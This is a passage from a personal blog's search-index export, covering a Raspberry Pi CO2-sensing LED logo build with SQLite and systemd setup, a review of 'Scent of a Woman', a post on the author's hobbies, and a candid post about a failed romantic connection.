flash during web requests. Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule. No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don\u0026rsquo;t you agree?\n7) Sensor Database — what it stores, where it lives, and how far it goes This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.\nWhat’s stored A single table called readings:\nCREATE TABLE IF NOT EXISTS readings ( timestamp TEXT PRIMARY KEY, -- \u0026#34;YYYY-MM-DD HH:MM:SS\u0026#34; co2 INTEGER, -- ppm temperature REAL, -- °C humidity REAL -- % ); One row per sample (typically every 5–60 seconds; slow it down to reduce writes). timestamp is the primary key → easy “latest” queries and natural time ordering. Where the file lives Path is configurable via env var DB_PATH (see your systemd unit). Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db). Check size:\nls -lh /home/pi/inet-led/sensor.db How writes happen (and why it’s safe) The sensor thread owns I²C and inserts a row only when the sensor reports data_ready. Inserts are short and journaling protects against power loss. For friendlier read/write concurrency, enable WAL once at startup: PRAGMA journal_mode = WAL; PRAGMA synchronous = NORMAL; Typical size \u0026amp; retention Back-of-envelope:\n~100–200 bytes per row (including overhead). 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day → 55–110 MB/year. If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling). Prune old data (keep last 90 days):\nDELETE FROM readings WHERE timestamp \u0026lt; date(\u0026#39;now\u0026#39;,\u0026#39;-90 day\u0026#39;); (Optionally run VACUUM; after large deletes to reclaim file space.)\nUseful queries Latest reading:\nSELECT * FROM readings ORDER BY timestamp DESC LIMIT 1; Range for charts (last 7 days):\nSELECT * FROM readings WHERE timestamp \u0026gt;= datetime(\u0026#39;now\u0026#39;,\u0026#39;-7 day\u0026#39;) ORDER BY timestamp; Downsample to hourly averages (30 days):\nSELECT strftime(\u0026#39;%Y-%m-%d %H:00:00\u0026#39;, timestamp) AS hour, AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h FROM readings WHERE timestamp \u0026gt;= datetime(\u0026#39;now\u0026#39;,\u0026#39;-30 day\u0026#39;) GROUP BY hour ORDER BY hour; Export to CSV (example via sqlite3 CLI):\nsqlite3 /home/pi/inet-led/sensor.db \u0026lt;\u0026lt;\u0026#39;SQL\u0026#39; .headers on .mode csv .output /home/pi/inet-led/export_readings.csv SELECT * FROM readings ORDER BY timestamp; .output stdout SQL SD card friendliness Choose a sensible interval (e.g., 30–60 s). Optionally buffer in memory and write every N samples. Prefer WAL mode; periodically prune \u0026amp; vacuum. If you care about card wear, place the DB on USB/SSD. Backups \u0026amp; restore Nightly backup (simple):\nsqlite3 /home/pi/inet-led/sensor.db \u0026#34;.backup \u0026#39;/home/pi/backup/sensor-$(date +%F).db\u0026#39;\u0026#34; Restore:\nsudo systemctl stop inet-led Copy backup file back to /home/pi/inet-led/sensor.db sudo systemctl start inet-led Security \u0026amp; permissions chown pi:pi /home/pi/inet-led/sensor.db chmod 600 /home/pi/inet-led/sensor.db Keep the app directory non-world-readable.\nIs SQLite the right choice? Yes, for a single Pi logging every few seconds and rendering local charts:\n✅ Zero admin, a single file, reliable journaling, great performance at this scale. ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine). ⬆️ If you later need multi-device ingestion, alerts, or \u0026gt;10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports. TL;DR SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.\n8) Run at Boot (systemd) I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:\n[Unit] Description=INET LED Panel After=network.target [Service] ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py WorkingDirectory=/home/pi/inet-led Restart=always User=pi Environment=LED_COUNT=78 Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json Environment=DB_PATH=/home/pi/inet-led/sensor.db [Install] WantedBy=multi-user.target Then you can run:\nsudo systemctl daemon-reload sudo systemctl enable --now inet-led journalctl -u inet-led -f to control the systemd service.\n9) Soldering Notes (a love letter to hot glue) Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads. Stagger joints so nothing stacks under the diffuser. Heat‑shrink + a dot of hot glue = happier future you. Continuity before power. Multimeter first, electrons last. If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works. Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable\u0026hellip; So\u0026hellip; yea.\n10) Why these design choices? Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction. Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers. White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout. Safe Mode default. People first. Demos are opt‑in. PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing. 11) What I learned A logo is a better messenger than a dashboard. Everyone knows what orange means without a legend. If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering! Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^ 12) Final notes I did this project as a fun distraction and \u0026ldquo;not work\u0026rdquo; as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I\u0026rsquo;m so so thankful of my advisor for this cool idea, and all the support. It\u0026rsquo;s not the first time I\u0026rsquo;ve been gifted such toys, and as I have recieved other things after that, I know it\u0026rsquo;s not the last.\nThere is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let\u0026rsquo;s hope that doesn\u0026rsquo;t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*\nThe whole project took around 8 days, 4 of which were part of a long weekend. I did do some \u0026ldquo;not work\u0026rdquo; as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don\u0026rsquo;t know how the group feels/thinks about the logo, but I love it! I hope it won\u0026rsquo;t die after I leave, but even if so, so be it. I had my fun with it. :)\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/","summary":"\u003cblockquote\u003e\n\u003cp\u003eI didn’t add a warning sign to the room. I taught the \u003cstrong\u003elogo\u003c/strong\u003e to breathe. ;-D\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eThe Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it\u0026rsquo;s not good at is \u003cstrong\u003eventilating\u003c/strong\u003e itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!\u003c/p\u003e","title":"INET Logo That Breathes — From CAD to LEDs to a Calm Little Server"},{"content":"I\u0026rsquo;m not a big movie watcher. In fact, I don\u0026rsquo;t remember the last time I watched a whole movie in a single day. It\u0026rsquo;s not that I don\u0026rsquo;t enjoy it, it\u0026rsquo;s that I want to do this with at least another person. It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.\nFew points before I begin.\nThis was aside from the therapy session. My therapist does not tell me what to do, or if I\u0026rsquo;m wrong or right or anything like that. I watched this movie in about two parts in a single day! I knew Al Pacino\u0026rsquo;s face from Godfather series, but didn\u0026rsquo;t know his name. I\u0026rsquo;m not a big movie person, so whatever I say should be taken with a grain of salt. Just don\u0026rsquo;t be offended, take it face up and as is. The movie is about a good young student named Chris O\u0026rsquo;Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.\nThe second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.\nChris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. He lives with his mother, and a not so nice step-father who isn\u0026rsquo;t really there for him.\nWhen taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. At last Chris agrees.\nUpon Karen\u0026rsquo;s leaving, Frank gets ready for a trip to New York. To do his last vows before taking his own life without Chris knowing this.\nHe plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.\nFrank is in love with Jack Daniel\u0026rsquo;s and cannot get enough of it. Throughout the movie this drunk, addiction-like behaviour is portrayed.\nFrank also learns about a problem Chris is facing. Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. He doesn\u0026rsquo;t want to snitch, but frank learns about this, he encourages him to take the deal.\nFrank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. The feelings I got were so strong and positive that I just cannot express!\nIn the end, when Frank wants to take his own life, Chris stops him and talks him out of it. He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! The officer didn\u0026rsquo;t even recognize Frank was blind!!!!\nAfter these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris\u0026rsquo;s parent.\nChris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father\u0026rsquo;s back was.\nIn essense, the movie was amazing, with great acting all over it. The characters portreayed their roles as amazingly as possible. I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.\nThe story was also amazing. Characters really added life to the scenes by their amazing play. Donna did the tango dance professionaly. Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.\nThat leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?\nWas it about Frank? That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? But Frank gave so much back to Chris. I guess it is the same for me too, I\u0026rsquo;m also getting a lot back while making some sacrifices.\nOr maybe was it about that amazing Tango dancing scene? The sensations that Frank describes about relationships, and how he interacts with woman?\nI honestly do not know. I just know that watching the movie gave me good feelings. That I\u0026rsquo;m a happier Iman than the Iman I was before watching it. That my feelings and experiences are not abnormal, they are valid. That I\u0026rsquo;m on the right track, but still need time to figure out the way. That I shouldn\u0026rsquo;t worry too much. That I should look at everything as a way to have \u0026ldquo;fun\u0026rdquo;. That I shouldn\u0026rsquo;t overthink things. That if I mess up, oh well, I should take the responsibility and move on.\nI don\u0026rsquo;t know what the intention of my therapist was, but I\u0026rsquo;m so curious! I want to figure it out. :) Fell free to cross your fingers for me!\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/","summary":"\u003cp\u003eI\u0026rsquo;m not a big movie watcher.\nIn fact, I don\u0026rsquo;t remember the last time I watched a whole movie in a single day.\nIt\u0026rsquo;s not that I don\u0026rsquo;t enjoy it, it\u0026rsquo;s that I want to do this with at least another person.\nIt feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched \u003ca href=\"https://www.imdb.com/title/tt0105323\"\u003eScent of a Woman\u003c/a\u003e on Sunday, and after my therapist encouraged me to do so.\u003c/p\u003e","title":"Movie review: Scent of a Woman"},{"content":"When I started my PhD, I was told \u0026ldquo;get yourself a hobby!\u0026rdquo; many many times by both my advisor, and the director of the group I worked in. In fact, when being interviewed for the position, I was asked about my hobbies.\nFor some reason I think I have like the weirdest hobbies of all time. Like, you know, people binge series, go to clubs, bars, hang out, and so on. But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.\nLet\u0026rsquo;s go back in time. What hobbies have I had over the course of my life? Actually as a kid I used to play games on Mobile for some reason. I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. Like I liked Vain Glory, and my brother liked Fifa. We did play both in the end.\nAfter my brother went to the capital to attend univesity, we bacame more distant. I had to also focus on my own studies, and was actually struggling in junior-high. Now that is a story in itself for another time. I used to play games back then as hobby. But my real interest was chess. I was really good at calculating. I was extremely sharp for my age, but since I was obbese my parents wanted me to take \u0026ldquo;active\u0026rdquo; sport classes. So\u0026hellip; getting into a chess class was conditional.\nI have\u0026rsquo;t really done any chess studying after those early years, and I just know a few openings with little depth. I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.\nIn high-school I didn\u0026rsquo;t really have any hobbies. I did become interested in Basketball, but nothing serious. It\u0026rsquo;s funny how I was able to become good at any sport I tried. I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. I think swimming was, and still is my best sport. I never pursued it though, which is a shame.\nBefore starting my Bachelors, I became really interested in Cicada3301, and cryptography. Well, not the fancy state-of-the-art cryptography, the simple classic methods. The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! That reminds me, we had these special things in junior-high called \u0026ldquo;Karsoogh\u0026rdquo; for math, physics, chemistry, and biology. I think I quilified for pretty much every one of them, and had a blast every time! In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. But the math one was different, it happend between a few close-by NODET cities, and annualy. The idea was simple. They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. We then competed against each other. The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. The fastest team gets the most points. The the message is common between teams. After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. First teams to get an algorithm gets more points. Our team won the best algorithm in the end, and my ideas were most influential in this achievement! My teammates became really good friends with me after this competition which felt really cool! I think this was the reason I became interested in cryptography. I don\u0026rsquo;t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. If your team solved a game, you got more points. It was really fun, and since the games happened in parallel, all teammtes had to be active.\nI said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. I like to casually get lost in questions and think about weird equations, or natural problems. Something like Feynman\u0026rsquo;s obsession with the spaghetti problem! Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. But I do want to get back to this fun hobby. I just need some questions, and an empty mind. Or I guess some time slots to chill and not stress about my other research.\nDuring my bachelors, I became fascinated by hardware. Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. Later on I realized this is related to IoT and Embedded systems. I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! Unfortunately I don\u0026rsquo;t have any images from the project, but the code can be found here.\nI bought myself a raspberrypi, many sensors and actuators, and did small fun projects! I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. I could not figure out how to fix the state when commands don\u0026rsquo;t go through correctly though, a challenge that I never solved or came up with a solution for. I would say my love with computers, making things smart, and networking became my main hobby!\nAfter some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. It was, and still is a rat race. Well, it\u0026rsquo;s the story of my PhD pretty much now.\nReading books became a hobby for a while, but Youtube kinda distroyed that. I really love to get back to reading more books, I have a really exciting list of books to be read in my library. Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. I find doing chores so relaxing! Since we talked about music I should mention I also tried to learn Piano, but didn\u0026rsquo;t pursue it. I actaully wanted to learn Violine, but the consultant we talked to said \u0026ldquo;if you\u0026rsquo;re not a hard worker it won\u0026rsquo;t workout for you\u0026rdquo;, and since my brother was going to learn Piano, I followed suit. And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. This is a pattern that has happened in my life a lot, something I need to stop from happening. Comparing myself with other, and competing with them. It\u0026rsquo;s just distroying me mentally. I am me, and the best me ever to exist. And that\u0026rsquo;s how it should be.\nSomewhere during my bachelors I also became fascinated by coffee! I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. Then came matcha, though with matcha things are much more limited.\nAnother thing that comes to mind is boardgames. I love boardgames that you need to think and be smart! An example is Cluedo. People usually don\u0026rsquo;t like to play it with me because I pay attention to \u0026ldquo;everything\u0026rdquo;. But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. I have a whole collection of boardgames that I don\u0026rsquo;t get to play! :-P One of my all time favorite games is \u0026ldquo;Zaar\u0026rdquo; (a persian game that was discontinued), and a game kinda similar to it called \u0026ldquo;The Night Cage\u0026rdquo;. I like them because there is a bit of strategy, luck, and a lot of co-op in them. In the later you either all win together, or get doomed. In the first one there is a comperition aspect to the game which makes it cool.\nCooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I\u0026rsquo;m a loner! (Drat. :P) I love to \u0026ldquo;not follow recipes\u0026rdquo; and try new things. Foods I make usually turn out to be quite yummy actually, though definitly not authentic. I also think I do a good job with the presentation part when I try. And I\u0026rsquo;m open to cooking anything and everything!\nI was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I\u0026rsquo;m alone, I rather do my other hobbies.\nAnd that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD\n3D printing is an interesting one. I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. When I went to 38c3 last year, I saw so many printers, and how cool they were. And somehting in my heart was touched, that I need one! The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. And oh well, 3D printing is just the hobby! I also tried to do some 3D design, but I\u0026rsquo;m quite a noob at it still. I will probably share some of the things I\u0026rsquo;ve made somewhere somehow, but not for now at least. Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). It\u0026rsquo;s so cute and fascinating, and I had an absolute blast working on it for the one week I did. So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. It\u0026rsquo;s just a fun thing to have, and to play around with. The fixing part of it, and maintaining it is not as fun, but it\u0026rsquo;s part of the journey. I will probably write about me and my 3D printer a lot more in the future. Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!\nAnd now let\u0026rsquo;s talk about the CTF stuff. This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). I\u0026rsquo;ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. After starting my PhD, I was introduced to Saarsec, and now I\u0026rsquo;m a proud member, trying to contribute as much as my time allows me to. I\u0026rsquo;m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. I love it! I want to do more of it. The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. Too shay. I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.\nAnd last but not least, blogging. Well, I kinda started it for no reason to be honest. I just want to share my stories, and to show my vulnerable side with no guilt. It feels freeing to do this, and I hope I continue! I hope people won\u0026rsquo;t get mad if they are a part of these stories I share. I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. I really enjoy it!\nWith all this being said, I think that\u0026rsquo;s it. If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. The only thing I want to emphasize is that I\u0026rsquo;m into things that make me limited to my creativity. Oh, and also books, if only I read them instead of watching Youtube!!!!\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/","summary":"\u003cp\u003eWhen I started my PhD, I was told \u0026ldquo;get yourself a hobby!\u0026rdquo; many many times by both my advisor, and the director of the group I worked in.\nIn fact, when being interviewed for the position, I was asked about my hobbies.\u003c/p\u003e\n\u003cp\u003eFor some reason I think I have like the weirdest hobbies of all time.\nLike, you know, people binge series, go to clubs, bars, hang out, and so on.\nBut I always had interests in things that when I talk about people get weirded out, or at least some of them do so.\nTo be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.\u003c/p\u003e","title":"Hobbies"},{"content":" Notice: You\u0026rsquo;ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.\nSo\u0026hellip; do you also think you\u0026rsquo;re a lover boy, kind, nice person? So do I! I think I\u0026rsquo;m actually really good at making friends with people. Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.\nMy problem is when things are to become more serious! Like, you know\u0026hellip; connecting at a more emotional level. A \u0026ldquo;relationship\u0026rdquo;. I\u0026rsquo;m really bad at those. In fact, I haven\u0026rsquo;t ever been in one! Now let\u0026rsquo;s be honest, I\u0026rsquo;m not your typical jacked, handsome boy, but I think I\u0026rsquo;m somewhere around the average if not higher a bit? Well, at least I hope so! :D\nI actually haven\u0026rsquo;t even dated once so far. My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like\u0026hellip; yea dude\u0026hellip; it was a date buddy. Why do I say it wasn\u0026rsquo;t a date? Well, because I was told so yesterday by her. That if it\u0026rsquo;s a date, you\u0026rsquo;re supposed to say it beforehand. I find that very fair actually. I really do. I wasn\u0026rsquo;t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. Like we planned a future together. We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!\nWe even found our \u0026ldquo;favorite shops\u0026rdquo; in the city together! It was weird! I\u0026rsquo;m so confused. I remember the second time we went out together, we sat next to the river and close to eachother. She leaned into me at some point. She had also touched my arm gently when making a joke earlier when we went shopping together. It felt weird. I did feel she was flirting with me, making plans with me. She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. We also had many deep conversations in this short amount of time.\nBut then it happened. Suddenly she messaged me saying how she is going to have a bf soon \u0026ldquo;hopefully\u0026rdquo;. That others know him, but not me. That where we live there are not that many people. That supply is low, and demand is high. That this person asked her fast so that \u0026ldquo;the slots won\u0026rsquo;t be filled\u0026rdquo;. It was weird, as if she was telling me I\u0026rsquo;m going to be taken if you don\u0026rsquo;t do anything\u0026hellip;? After this weird encounter I talked to two of my friends, and my married brother and his wife. When she heard about our interactions and all of the messages we passed, she did feel like I\u0026rsquo;ve been friendzoning her. That I\u0026rsquo;m not resiprocating her feelings. That she perhaps has a crush on me. Even my brother felt the same! My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. With all honestly, in her messages when she was teaching me the \u0026ldquo;ways\u0026rdquo;, she said \u0026ldquo;I don\u0026rsquo;t play games and I also advise you not to get together with people that do so\u0026rdquo;. Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I\u0026rsquo;m doing is normal and things are going well. But I guess I was wrong?\nI do want to talk about some things that we exchanged on this weird conversation that made me confused. She initially asked why I didn\u0026rsquo;t go out with them last night. I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. With all honestly I didn\u0026rsquo;t even know she was joining them or not. It\u0026rsquo;s kinda weird, but the plans were made in a group she was not inside of. Anyway.\nOctober 4th was a rainy day. She said she might be catching a cold, and that going out in this weather is maybe not a good choice. She said let\u0026rsquo;s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. You see? She proposed a different time and date, she didn\u0026rsquo;t just cancel last second. And then she started talking about last night, the things that happened. A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn\u0026rsquo;t know him. Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. Then she talked about how when two people see each other, a click can happen, and that\u0026rsquo;s how you can know if you like someone or not. If it\u0026rsquo;s two way ofc. I asked her what is this \u0026ldquo;click\u0026rdquo;? She said \u0026ldquo;you know when you know, and if you think you don\u0026rsquo;t know then there isn\u0026rsquo;t one\u0026rdquo;. Interesting. My poor brain started looking back at our own interactions. I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it\u0026hellip; And again I felt she is hinting something. Poor me was stuck between a rock and a hard place. She told me that if I like someone I should ask them on a date \u0026ldquo;early\u0026rdquo;, as time is of essence. Again, I was confused. I was lost. We\u0026rsquo;ve been hanging out for two weeks, we have our favorite similar shops, hobbies. We have plans together. We understood eachother. Or maybe that\u0026rsquo;s just how I felt in my mind? Maybe things in my brain are just different? I don\u0026rsquo;t know.\nMy sister in law told me that she probably had a crush on me and that I didn\u0026rsquo;t reciprocate her feelings perhaps? That I\u0026rsquo;m friendzoning her by not touching her back or asking her out on a \u0026ldquo;date\u0026rdquo;. Her reasoning is that she initiated all of this. She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. She told me that I should invite her to a date. That I have to do something romantic now, maybe get flowers, and a gift. And I did just that. I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. And I asked her on a date.\nShe said she enjoyed the company too, and thanked me. She then said she is starting a new relationship, but even if that was not the case, \u0026ldquo;we were so different from eachother at a much deeper level\u0026rdquo;. That her \u0026ldquo;life experiecnes\u0026rdquo; are just different, \u0026ldquo;and so on\u0026rdquo;. She did actually say \u0026ldquo;and so on\u0026rdquo;.\nYou know what it reminds me of? Of when your paper gets rejected by saying \u0026ldquo;lacks novelty\u0026rdquo;. xD\nAnother extremely funny thing is that she said we\u0026rsquo;re so different at a much deeper level, but she doesn\u0026rsquo;t even know me. What was meant at a deeper level? I\u0026rsquo;m confused again. She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. She knew nothing about me. How are we different so deeply if you don\u0026rsquo;t even know me? I\u0026rsquo;m so so incredibly confused. I guess it could be the looks, and the \u0026ldquo;vibes\u0026rdquo;? But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won\u0026rsquo;t pursue her I guess? Idk.\nI want to also come back to this point she made that she is \u0026ldquo;starting a new relationship\u0026rdquo;. She told me in the same conversation that someone asked her out (which she technically didn\u0026rsquo;t even say this, but it could be induced), and that going on a date \u0026ldquo;does not mean you\u0026rsquo;re in a relationship, that you want to know eachother\u0026rdquo;. Her saying that \u0026ldquo;I said I\u0026rsquo;m starting a new relationship\u0026rdquo; hurt me, not because she is doing that, because she didn\u0026rsquo;t technically tell me that. She then said \u0026ldquo;I always tell people this to avoid confusion\u0026rdquo;. I definitly didn\u0026rsquo;t miss it if she did. She didn\u0026rsquo;t, but whatever. It\u0026rsquo;s fine. I did apologize. The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me\u0026hellip; Did I miss it? She didn\u0026rsquo;t. Just trust me on this one. ;)\nI\u0026rsquo;m just confused. The last three times I had a crush on someone I confessed too. First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). Second case ended up in a tragedy that I do not want to talk about, lol! All I can say is that she definitly panicked and I don\u0026rsquo;t blame her. I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. The third one said that she is in an \u0026ldquo;undefined state\u0026rdquo; of a relationship, and that she wants to keep it \u0026ldquo;friendly\u0026rdquo; in university, which is completely fair. But this last one. This was the weird one. The first and third one were really sweet to me when I confessed/asked them out. The last one didn\u0026rsquo;t even show interest about being friends, which is again totally fine. But I\u0026rsquo;m just so baffeled by all of this.\nSo\u0026hellip; yea. This last \u0026ldquo;thing\u0026rdquo;, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. I do think I need to take a break from trying to get into a relationship. I\u0026rsquo;ve been hurt a lot by the second one, and this was just confusing. In her defence she was an amazing person. Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! I can\u0026rsquo;t just say the good stuff though. She was definitly a bit self-centered. It\u0026rsquo;s funny how she told me that \u0026ldquo;people say I\u0026rsquo;m so proud in a negative way, but anyone who talks with me knows I\u0026rsquo;m not like that\u0026rdquo;. Which is true, she wasn\u0026rsquo;t proud, the correct term is self-centered, or \u0026ldquo;narcissistic\u0026rdquo; if you will, which I don\u0026rsquo;t neceserrialy think is bad, but it is definitly an orange/yellow flag.\nOne thing I know is that I do wish her and whoever she dates the best! \u0026lt;3 And that I would be ok to stay friends with her, but since I\u0026rsquo;m hurt, I will be much colder. Sorry. :) And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. Fast progression ends like this? But then maybe we never progressed? I don\u0026rsquo;t know.\nWell. I don\u0026rsquo;t know what\u0026rsquo;s gonna happen next, but I\u0026rsquo;m going to just live my life and have fun. Aaaaaaaand maybe not worry about being single? Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won\u0026rsquo;t be alone? Who knows? haha.\nP.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I\u0026rsquo;m worth more than that. :) In my therapy session I remembered that in each of these 